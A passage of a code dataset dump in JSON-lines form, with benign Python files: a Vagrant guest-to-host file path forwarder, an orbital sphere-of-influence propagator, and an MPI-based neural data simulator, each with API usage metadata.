"scipy.stats", "line_number": 165, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 166, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 166, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 172, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 173, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 173, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 174, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 174, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 180, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 181, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 181, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 182, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 182, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 188, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 189, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 189, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 190, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 190, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 196, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 197, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 197, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 198, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 198, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 204, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 205, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 205, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 206, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 206, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 214, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 215, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 215, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 216, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 216, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 222, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 223, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 223, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 224, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 224, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 230, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 231, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 231, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 232, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 232, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 238, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 239, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 239, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 240, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 240, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 246, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 247, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 247, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 248, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 248, "usage_type": "name"}]} {"seq_id": "16504324739", "text": "from hostopen.arg_handler import parse_client\nimport json\nimport logging\nimport os\nimport socket\nimport sys\n\nfrom hostopen import utils\n\ndef get_synced_folders():\n \"\"\" Reads the appropriate file to get the synced_folder\n information so filepaths can be converted.\n\n Will look for the file 'synced_folder' in '/.vagrant_info'.\n\n Vagrantfile setup example:\n config.vm.synced_folder \\\n \".vagrant/machines/default/virtualbox\", \\\n \"/.vagrant_info\"\n\n Returns:\n []: Uses the format (guestpath, hostpath)\n \"\"\"\n folder = '/.vagrant_info'\n data_file = os.path.join(folder, 'synced_folders')\n\n with open(data_file, 'r') as file:\n data = json.load(file)\n\n folders = []\n for key_a in data.keys():\n for key_b in data[key_a].keys():\n guestpath = data[key_a][key_b]['guestpath']\n hostpath = data[key_a][key_b]['hostpath']\n folders.append(\n (guestpath,hostpath)\n )\n\n return folders\n\ndef transmit_data(data, port):\n \"\"\"\n Args:\n data : the data to send\n port : the port to connect through\n\n Returns:\n : success flag\n \"\"\"\n try:\n clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n clientsocket.connect(('localhost', port))\n clientsocket.send(data)\n clientsocket.close()\n return True\n except ConnectionRefusedError:\n pass\n\ndef convert_filepaths(filepaths, folders):\n \"\"\" Convert files from the VM filepath to the host filepath\n\n Args:\n filepaths[]: files to send\n folders<(guestpath, hostpath)>: conversion 'table'\n\n Returns:\n []: converted files - to send\n []: invalid files - to print\n \"\"\"\n def s_length(item):\n return len(item[0])\n\n # Reverse sort by length of guestpath (first arg)\n folders = sorted(folders, key=s_length, reverse = True)\n\n # Convert Files\n converted_files = []\n invalid_files = []\n for path in filepaths:\n path = os.path.abspath(path)\n\n success = False\n for guestpath, hostpath in folders:\n if guestpath in path:\n new_path = path.replace(guestpath, hostpath, 1)\n converted_files.append(new_path)\n success = True\n break\n if not success:\n invalid_files.append(path)\n\n converted_files = list(set(converted_files))\n invalid_files = list(set(invalid_files))\n return converted_files, invalid_files\n\ndef main():\n # Parse Args\n level, port, filepaths = parse_client(sys.argv[1:])\n\n # Setup Logger\n utils.init_logger(level)\n logger = logging.getLogger(__name__)\n\n logger.debug('Port: %d' % port)\n logger.debug('Files: %s' % ', '.join(filepaths))\n\n # Get files and convert\n folders = get_synced_folders()\n converted_files, invalid_files = convert_filepaths(filepaths, folders)\n\n # Send data\n if converted_files:\n data = utils.pack_data(converted_files)\n success = transmit_data(data, port)\n\n if success:\n if invalid_files:\n logging.info('Not sent (not synced):')\n for file in invalid_files:\n logging.info(' %s' % file)\n else:\n logging.warning('Unable to connect.')\n logging.warning('Connect with the command:')\n logging.warning(' vagrant ssh -- -R :localhost:')\n else:\n logger.warning('No valid files selected.')\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "jaketreacher/hostopen", "sub_path": "hostopen/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 3593, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 28, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 51, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 51, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "hostopen.arg_handler.parse_client", "line_number": 98, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 98, "usage_type": "attribute"}, {"api_name": "hostopen.utils.init_logger", "line_number": 101, "usage_type": "call"}, {"api_name": "hostopen.utils", "line_number": 101, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 102, "usage_type": "call"}, {"api_name": "hostopen.utils.pack_data", "line_number": 113, "usage_type": "call"}, {"api_name": "hostopen.utils", "line_number": 113, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 118, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 120, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 123, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 124, "usage_type": "call"}]} {"seq_id": "31860934872", "text": "import logging\nfrom collections import namedtuple\n\nfrom .kepler import Kepler\nfrom .keplernum import KeplerNum\n\n__all__ = [\"SoIAnalytical\", \"SoINumerical\"]\n\nlog = logging.getLogger(__name__)\n\nSOI = namedtuple(\"SOI\", \"radius frame\")\n\n\nclass _SoI:\n\n SOIS = {\n \"Mercury\": SOI(112408000, \"Mercury\"),\n \"Venus\": SOI(616270000, \"Venus\"),\n \"Earth\": SOI(924642000, \"EME2000\"),\n \"Moon\": SOI(66168000, \"Moon\"),\n \"Mars\": SOI(577223000, \"Mars\"),\n \"Jupiter\": SOI(48219667000, \"Jupiter\"),\n \"Saturn\": SOI(54800713000, \"Saturn\"),\n \"Uranus\": SOI(51839589000, \"Uranus\"),\n \"Neptune\": SOI(84758736000, \"Neptune\"),\n }\n\n def _soi(self, orb):\n \"\"\"Evaluate the need for SOI transition, by comparing the radial distance\n between the considered body and the spacecraft\n\n If therer is no body in sight, default to central body.\n \"\"\"\n\n for body in self.alt:\n soi = self.SOIS[body.name]\n sph = orb.copy(frame=soi.frame, form=\"spherical\")\n if sph.r < soi.radius:\n active = body\n break\n else:\n active = self.central\n\n return active\n\n def _change_soi(self, body):\n \"\"\"Modify the inner parameters of the KeplerNum propagator in order to place\n the spacecraft in the right Sphere of Influence\n \"\"\"\n\n if body == self.central:\n self.bodies = [self.central]\n self.active = self.central.name\n self.frame = self.central.name\n else:\n soi = self.SOIS[body.name]\n self.bodies = [body]\n self.active = body.name\n self.frame = soi.frame\n\n def _iter(self, start=None, stop=None, step=None, **kwargs):\n\n orb = self.orbit\n soi = self._soi(orb)\n\n while orb.date < stop:\n\n current = soi\n\n # At each step of the computation, evaluate the need of SOI transition.\n # If needed, stop the iteration, change the parameters of the\n # propagation (frame, step, central body), then start it again from the\n # remaining dates point\n for orb in super()._iter(start=start, stop=stop, step=step, **kwargs):\n yield orb.copy(frame=self.out_frame)\n soi = self._soi(orb)\n if soi != current:\n break\n\n start = orb.date\n\n # Here the SoI is changed, see self.orbit setter\n self.orbit = orb\n\n if start < stop:\n log.debug(f\"SOI change {current} => {soi} at {orb.date}\")\n\n\nclass SoIAnalytical(_SoI, Kepler):\n \"\"\"Kepler (analytical) propagator capable of switching between Sphere of Influence of\n different solar system bodies\n \"\"\"\n\n def __init__(self, central, alt, *, frame=None):\n \"\"\"\n Args:\n central (Body): Central body\n alt (list of Body): Objects to potentially use\n frame (str): Frame of the resulting extrapolation. If ``None``, the\n result will change frame depending on the sphere of influence\n it is in\n \"\"\"\n\n self.central = central\n self.alt = alt if isinstance(alt, (list, tuple)) else [alt]\n self.out_frame = frame\n self.frame = frame\n self.active = central.name\n\n @property\n def orbit(self):\n return self._orbit if hasattr(self, \"_orbit\") else None\n\n @orbit.setter\n def orbit(self, orbit):\n soi = self._soi(orbit)\n self._change_soi(soi)\n self._orbit = orbit.copy(form=\"keplerian_mean\", frame=self.frame)\n\n def copy(self):\n return self.__class__(\n self.central,\n self.alt,\n frame=self.out_frame,\n )\n\n\nclass SoINumerical(_SoI, KeplerNum):\n \"\"\"KeplerNum propagator capable of switching between the Sphere of Influence of\n different solar system bodies\n \"\"\"\n\n def __init__(\n self, central_step, alt_step, central, alt, *, method=KeplerNum.RK4, frame=None\n ):\n \"\"\"\n Args:\n central_step (timedelta): Step to use in computation when only the\n central body is taken into account\n alt_step (timedelta): Step to use in computations under the\n influence of an alternate body\n central (Body): Central body\n alt (list of Body): Objects to potentially use\n method (str): Method of extrapolation (see :py:class:`KeplerNum`)\n frame (str): Frame of the resulting extrapolation. If ``None``, the\n result will change frame depending on the sphere of influence\n it is in\n \"\"\"\n\n self.alt_step = alt_step\n self.central_step = central_step\n self.central = central\n self.alt = alt if isinstance(alt, (list, tuple)) else [alt]\n self.method = method\n self.out_frame = frame\n self.frame = frame\n self.active = central.name\n\n @property\n def orbit(self):\n return self._orbit if hasattr(self, \"_orbit\") else None\n\n @orbit.setter\n def orbit(self, orbit):\n soi = self._soi(orbit)\n self._change_soi(soi)\n self._orbit = orbit.copy(form=\"cartesian\", frame=self.frame)\n\n def copy(self):\n return self.__class__(\n self.central_step,\n self.alt_step,\n self.central,\n self.alt,\n method=self.method,\n frame=self.out_frame,\n )\n\n def _change_soi(self, body):\n \"\"\"Modify the inner parameters of the KeplerNum propagator in order to place\n the spacecraft in the right Sphere of Influence\n \"\"\"\n\n if body == self.central:\n self.step = self.central_step\n else:\n self.step = self.alt_step\n\n super()._change_soi(body)\n\n def _iter(self, start=None, stop=None, step=None, **kwargs):\n \"\"\"This method totaly override the super()._iter() method because\n it is not possible to modify the step on the fly with _SoI implementation.\n\n Talk about duplication of code...\n \"\"\"\n\n orb = self.orbit\n soi = self._soi(orb)\n\n while orb.date < stop:\n\n current = soi\n\n # At each step of the computation, evaluate the need of SOI transition.\n # If needed, stop the iteration, change the parameters of the\n # propagation (frame, step, central body), then start it again from the\n # remaining dates point\n for orb in super(_SoI, self)._iter(\n start=start, stop=stop, step=self.step, **kwargs\n ):\n yield orb.copy(frame=self.out_frame)\n soi = self._soi(orb)\n if soi != current:\n break\n\n start = orb.date\n\n # Here the SoI is changed, see self.orbit setter\n self.orbit = orb\n\n if start < stop:\n log.debug(f\"SOI change {current} => {soi} at {orb.date}\")\n", "repo_name": "galactics/beyond", "sub_path": "beyond/propagators/soi.py", "file_name": "soi.py", "file_ext": "py", "file_size_in_byte": 7041, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 44, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 11, "usage_type": "call"}, {"api_name": "kepler.Kepler", "line_number": 89, "usage_type": "name"}, {"api_name": "keplernum.KeplerNum", "line_number": 128, "usage_type": "name"}, {"api_name": "keplernum.KeplerNum.RK4", "line_number": 134, "usage_type": "attribute"}, {"api_name": "keplernum.KeplerNum", "line_number": 134, "usage_type": "name"}]} {"seq_id": "17189163678", "text": "from mpi4py import MPI\nimport time\n\nimport spykshrk.realtime.realtime_logging as rt_logging\nimport spykshrk.realtime.realtime_base as realtime_base\nimport spykshrk.realtime.datatypes as datatypes\nimport spykshrk.realtime.simulator.nspike_data as nspike_data\nimport spykshrk.realtime.simulator.sim_databuffer as sim_databuffer\nfrom spykshrk.realtime import binary_record\n\n\nclass SimulatorError(RuntimeError):\n pass\n\n\nclass ReqDatatypeChannelDataMessage(rt_logging.PrintableMessage):\n def __init__(self, datatype, channel):\n self. datatype = datatype\n self.channel = channel\n\n\nclass StartAllStreamMessage(rt_logging.PrintableMessage):\n def __init__(self):\n pass\n\n\nclass StopAllStreamMessage(rt_logging.PrintableMessage):\n def __init__(self):\n pass\n\n\nclass PauseAllStreamMessages(rt_logging.PrintableMessage):\n def __init__(self):\n pass\n\n\nclass SimTrodeListMessage(rt_logging.PrintableMessage):\n def __init__(self, trode_list):\n self.trode_list = trode_list\n\n\nclass SimulatorRemoteReceiver(realtime_base.DataSourceReceiver):\n \"\"\" A Class to be created and used by ranks that need to communicate with the Simulator Process/Rank.\n \n Goal is to provide an abstraction layer for interacting with other sources.\n \"\"\"\n def __init__(self, comm: MPI.Comm, rank, config, datatype):\n super().__init__(comm=comm, rank=rank, config=config, datatype=datatype)\n self.start = False\n self.stop = False\n\n self.time_bytes = bytearray(100)\n self.mpi_reqs = []\n self.mpi_statuses = []\n\n if self.datatype is datatypes.Datatypes.LFP:\n\n self.data_bytes = bytearray(datatypes.LFPPoint.packed_message_size())\n self.mpi_sim_data_tag = realtime_base.MPIMessageTag.SIMULATOR_LFP_DATA\n self.config_enable_timing = 'enable_lfp'\n self.DataPointCls = datatypes.LFPPoint\n\n pass\n elif self.datatype is datatypes.Datatypes.SPIKES:\n self.data_bytes = bytearray(datatypes.SpikePoint.packed_message_size())\n self.mpi_sim_data_tag = realtime_base.MPIMessageTag.SIMULATOR_SPK_DATA\n self.config_enable_timing = 'enable_spk'\n self.DataPointCls = datatypes.SpikePoint\n pass\n elif self.datatype is datatypes.Datatypes.LINEAR_POSITION:\n self.data_bytes = bytearray(datatypes.LinearPosPoint.packed_message_size())\n self.mpi_sim_data_tag = realtime_base.MPIMessageTag.SIMULATOR_LINPOS_DATA\n self.config_enable_timing = 'enable_pos'\n self.DataPointCls = datatypes.LinearPosPoint\n pass\n else:\n raise SimulatorError('{} is not a valid datatype.'.format(self.datatype))\n\n self.mpi_reqs.append(self.comm.Irecv(buf=self.data_bytes,\n tag=self.mpi_sim_data_tag))\n self.mpi_statuses.append(MPI.Status)\n\n def register_datatype_channel(self, channel):\n self.comm.send(ReqDatatypeChannelDataMessage(datatype=self.datatype, channel=channel),\n dest=self.config['rank']['simulator'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE.value)\n\n # This should be called after all initialization has been done and the first barrier has passed\n def start_all_streams(self):\n self.comm.send(StartAllStreamMessage(), dest=self.config['rank']['simulator'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE.value)\n self.start = True\n\n def stop_all_streams(self):\n self.comm.send(StopAllStreamMessage(), dest=self.config['rank']['simulator'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE.value)\n self.start = False\n\n def stop_iterator(self):\n self.stop = True\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.stop:\n raise StopIteration()\n\n if not self.start:\n return None\n\n rdy = MPI.Request.Testall(requests=self.mpi_reqs)\n\n if rdy:\n data_message = self.DataPointCls.unpack(self.data_bytes)\n self.mpi_reqs[0] = self.comm.Irecv(buf=self.data_bytes,\n tag=self.mpi_sim_data_tag)\n\n # Option to return timing message but disabled\n timing_message = None\n return data_message, timing_message\n\n else:\n return None\n\n\nclass SimulatorSendInterface(realtime_base.RealtimeMPIClass):\n\n def __init__(self, comm: MPI.Comm, rank, config):\n super().__init__(comm=comm, rank=rank, config=config)\n\n def send_record_register_messages(self, record_register_messages):\n self.class_log.debug(\"Sending binary record registration messages.\")\n for message in record_register_messages:\n self.comm.send(obj=message, dest=self.config['rank']['supervisor'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n def send_terminate_error(self, msg):\n self.comm.send(realtime_base.TerminateErrorMessage(msg),\n dest=self.config['rank']['supervisor'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n def send_ntrode_list(self, ntrode_list):\n self.comm.send(obj=SimTrodeListMessage(ntrode_list),\n dest=self.config['rank']['supervisor'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n def send_time_sync_other(self):\n rank_list = list(range(self.comm.size))\n rank_list.remove(self.rank)\n rank_list.remove(self.config['rank']['supervisor'])\n for rank in rank_list:\n self.comm.send(obj=realtime_base.TimeSyncInit(), dest=rank,\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n def send_time_sync_report(self, time):\n self.comm.send(obj=realtime_base.TimeSyncReport(time),\n dest=self.config['rank']['supervisor'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n def all_barrier(self):\n self.comm.Barrier()\n\n def send_terminate(self):\n self.class_log.debug(\"Terminate all other ranks.\")\n self.comm.send(obj=realtime_base.TerminateMessage(), dest=self.config['rank']['supervisor'],\n tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n\nclass Simulator(realtime_base.BinaryRecordBaseWithTiming, realtime_base.RealtimeMPIClass):\n def __init__(self, comm, rank, config, mpi_send: SimulatorSendInterface, local_rec_manager):\n super().__init__(comm=comm, rank=rank, config=config,\n local_rec_manager=local_rec_manager, send_interface=mpi_send)\n self.mpi_send = mpi_send\n\n self._stop_next = False\n\n try:\n self.nspike_anim = nspike_data.AnimalInfo(**config['simulator']['nspike_animal_info'])\n lfp_stream = nspike_data.EEGDataStream(self.nspike_anim)\n pos_stream = nspike_data.PosMatDataStream(self.nspike_anim)\n spk_stream = nspike_data.SpkDataStream(self.nspike_anim)\n self.databuffer = sim_databuffer.SimDataBuffer([lfp_stream(), spk_stream(), pos_stream()])\n #self.databuffer = sim_databuffer.SimDataBuffer([lfp_stream() ])\n\n self.lfp_chan_req_dict = {}\n self.spk_chan_req_dict = {}\n self.pos_chan_req = []\n self.data_itr = self.databuffer()\n\n\n except TypeError as err:\n self.class_log.exception(\"TypeError: nspike_animal_info does not match nspike_data.AnimalInfo arguments.\",\n exc_info=err)\n self.mpi_send.send_terminate_error(\"For SimulatorThread, nspike_animal_info config did \"\n \"not match nspike_data.AnimalInfo arguments.\")\n\n self.start_time = time.time()\n self.ntrode_list_sent = False\n self.running = False\n\n def send_ntrode_list(self):\n # Send ntrode configuration. This automatically triggers a cascade of messages to start the simulation\n # and receiving ranks\n self.mpi_send.send_ntrode_list(self.config['simulator']['nspike_animal_info']['tetrodes'])\n\n def update_cont_chan_req(self, dest_rank, lfp_chan):\n if lfp_chan not in self.nspike_anim.tetrodes:\n raise SimulatorError(\"Rank {:} tried to request channel ({:}) not available in animal info.\".\n format(dest_rank, lfp_chan))\n if lfp_chan in self.lfp_chan_req_dict:\n self.class_log.error((\"LFP channels cannot be requested by more than one rank. Channel ({:}) requested by \"\n \"rank ({:}) but is already owned by rank ({:}). \"\n \"Overwriting previous assignment.\").format(lfp_chan, dest_rank,\n self.lfp_chan_req_dict[lfp_chan]))\n self.lfp_chan_req_dict[lfp_chan] = dest_rank\n self.class_log.debug(\"Continuous channel/ntrode {:} registered by rank {:}\".format(lfp_chan, dest_rank))\n\n def update_spk_chan_req(self, dest_rank, spk_chan):\n\n if spk_chan not in self.nspike_anim.tetrodes:\n raise SimulatorError(\"Rank {:} tried to request channel ({:}) not available in animal info.\".\n format(dest_rank, spk_chan))\n\n spk_chan_assign = self.spk_chan_req_dict.setdefault(spk_chan, set())\n spk_chan_assign.add(dest_rank)\n\n self.class_log.debug(\"Spike channel/ntrode {:} registered by rank {:}\".format(spk_chan, dest_rank))\n\n def update_linpos_chan_req(self, dest_rank):\n\n self.class_log.debug(\"Linear position registered by rank {:}\".format(dest_rank))\n self.pos_chan_req.append(dest_rank)\n\n def sync_time(self):\n \"\"\"Override normal sync time so Simulator will trigger the sync barrier of its consumers.\"\"\"\n self.class_log.debug(\"Sending sync message to remaining nodes ({}).\".format(self.rank))\n self.mpi_send.send_time_sync_other()\n super().sync_time()\n\n def start_datastream(self):\n self.class_log.debug(\"Start datastream.\")\n self.running = True\n\n def pause_datastream(self):\n self.running = False\n\n def send_next_data(self):\n\n # Distribute tetrode list to nodes in 3 sec\n current_time = time.time()\n if not self.ntrode_list_sent and (current_time - self.start_time < 3.0):\n # First Barrier to finish setting up nodes, right before simulator starts by sending ntrode list\n self.class_log.debug(\"First Barrier\")\n self.comm.Barrier()\n\n # Pause to allow other MPI initialization messages to finish before sending tetrode list, which\n # triggers the start of recording\n time.sleep(0.5)\n self.send_ntrode_list()\n self.ntrode_list_sent = True\n\n\n if not self.running:\n return None\n\n try:\n data_to_send = self.data_itr.__next__()\n if isinstance(data_to_send, datatypes.LFPPoint):\n\n self.record_timing(timestamp=data_to_send.timestamp, elec_grp_id=data_to_send.elec_grp_id,\n datatype=datatypes.Datatypes.LFP, label='sim_send')\n\n try:\n bytes_to_send = data_to_send.pack()\n\n self.comm.Ssend(buf=bytes_to_send, dest=self.lfp_chan_req_dict[data_to_send.elec_grp_id],\n tag=realtime_base.MPIMessageTag.SIMULATOR_LFP_DATA)\n\n except KeyError as err:\n self.class_log.exception((\"KeyError: Tetrode id ({:}) not in lfp channel request dict {:}, \"\n \"was likely never requested by a receiving/computing ranks.\").\n format(data_to_send.ntrode_index, self.lfp_chan_req_dict), exc_info=err)\n\n elif isinstance(data_to_send, datatypes.SpikePoint):\n\n self.record_timing(timestamp=data_to_send.timestamp, elec_grp_id=data_to_send.elec_grp_id,\n datatype=datatypes.Datatypes.SPIKES, label='sim_send')\n try:\n bytes_to_send = data_to_send.pack()\n\n for dest_rank in self.spk_chan_req_dict[data_to_send.elec_grp_id]:\n self.comm.Ssend(buf=bytes_to_send, dest=dest_rank,\n tag=realtime_base.MPIMessageTag.SIMULATOR_SPK_DATA)\n\n except KeyError as err:\n self.class_log.exception((\"KeyError: Tetrode id ({:}) not in spike channel request dict {:}, \"\n \"was likely never requested by a receiving/computing ranks.\").\n format(data_to_send.elec_grp_id, self.spk_chan_req_dict), exc_info=err)\n\n elif isinstance(data_to_send, datatypes.LinearPosPoint):\n self.record_timing(timestamp=data_to_send.timestamp, elec_grp_id=-1,\n datatype=datatypes.Datatypes.LINEAR_POSITION, label='sim_send')\n bytes_to_send = data_to_send.pack()\n\n for dest_rank in self.pos_chan_req:\n self.comm.Ssend(buf=bytes_to_send, dest=dest_rank,\n tag=realtime_base.MPIMessageTag.SIMULATOR_LINPOS_DATA)\n\n except StopIteration as err:\n # Simulation is done, send terminate message\n self.mpi_send.send_terminate()\n raise\n\n\nclass SimulatorProcess(realtime_base.RealtimeProcess):\n def __init__(self, comm: MPI.Comm, rank, config):\n super().__init__(comm=comm, rank=rank, config=config)\n self.terminate = False\n\n self.local_rec_manager = binary_record.RemoteBinaryRecordsManager(manager_label='state', local_rank=rank,\n manager_rank=config['rank']['supervisor'])\n\n self.mpi_send = SimulatorSendInterface(comm=comm, rank=rank, config=config)\n\n self.sim = Simulator(comm=comm, rank=rank, config=config,\n mpi_send=self.mpi_send,\n local_rec_manager=self.local_rec_manager)\n\n self.mpi_recv = SimulatorRecvInterface(comm=comm, rank=rank, config=config, simulator=self.sim)\n\n\n def trigger_termination(self):\n self.terminate = True\n\n def main_loop(self):\n\n self.sim.setup_mpi()\n\n try:\n while not self.terminate:\n\n self.mpi_recv.__next__()\n self.sim.send_next_data()\n except StopIteration as err:\n self.class_log.info(\"Simulator Process Main reached end, exiting.\")\n\n\nclass SimulatorRecvInterface(realtime_base.RealtimeMPIClass):\n\n def __init__(self, comm: MPI.Comm, rank, config, simulator: Simulator):\n super(SimulatorRecvInterface, self).__init__(comm=comm, rank=rank, config=config)\n self.sim = simulator\n\n self.req = self.comm.irecv(tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n self.mpi_status = MPI.Status()\n\n def __next__(self):\n rdy, msg = self.req.test(status=self.mpi_status)\n if rdy:\n self.process_request_message(msg)\n\n self.req = self.comm.irecv(tag=realtime_base.MPIMessageTag.COMMAND_MESSAGE)\n\n def process_request_message(self, message):\n\n if isinstance(message, ReqDatatypeChannelDataMessage):\n if message.datatype is datatypes.Datatypes.LFP:\n self.sim.update_cont_chan_req(self.mpi_status.source, message.channel)\n\n elif message.datatype is datatypes.Datatypes.SPIKES:\n self.sim.update_spk_chan_req(self.mpi_status.source, message.channel)\n\n elif message.datatype is datatypes.Datatypes.LINEAR_POSITION:\n self.sim.update_linpos_chan_req(self.mpi_status.source)\n\n elif isinstance(message, StartAllStreamMessage):\n self.sim.start_datastream()\n\n elif isinstance(message, PauseAllStreamMessages):\n self.sim.pause_datastream()\n\n elif isinstance(message, binary_record.BinaryRecordCreateMessage):\n self.sim.set_record_writer_from_message(message)\n\n elif isinstance(message, realtime_base.StartRecordMessage):\n self.sim.start_record_writing()\n\n elif isinstance(message, realtime_base.StopRecordMessage):\n self.sim.stop_record_writing()\n\n elif isinstance(message, realtime_base.CloseRecordMessage):\n self.sim.close_record()\n\n elif isinstance(message, realtime_base.TimeSyncInit):\n self.class_log.debug('Received TimeSyncInit.')\n self.sim.sync_time()\n\n elif isinstance(message, realtime_base.TimeSyncSetOffset):\n self.sim.update_offset(message.offset_time)\n\n elif isinstance(message, realtime_base.TerminateMessage):\n raise StopIteration()\n\n", "repo_name": "daliu87/spykshrk_realtime", "sub_path": "spykshrk/realtime/simulator/simulator_process.py", "file_name": "simulator_process.py", "file_ext": "py", "file_size_in_byte": 17068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "spykshrk.realtime.realtime_logging.PrintableMessage", "line_number": 16, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_logging", "line_number": 16, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_logging.PrintableMessage", "line_number": 22, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_logging", "line_number": 22, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_logging.PrintableMessage", "line_number": 27, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_logging", "line_number": 27, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_logging.PrintableMessage", "line_number": 32, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_logging", "line_number": 32, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_logging.PrintableMessage", "line_number": 37, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_logging", "line_number": 37, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.DataSourceReceiver", "line_number": 42, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 42, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Comm", "line_number": 47, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 47, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 56, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 56, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.LFPPoint.packed_message_size", "line_number": 58, "usage_type": "call"}, {"api_name": "spykshrk.realtime.datatypes.LFPPoint", "line_number": 58, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 58, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", 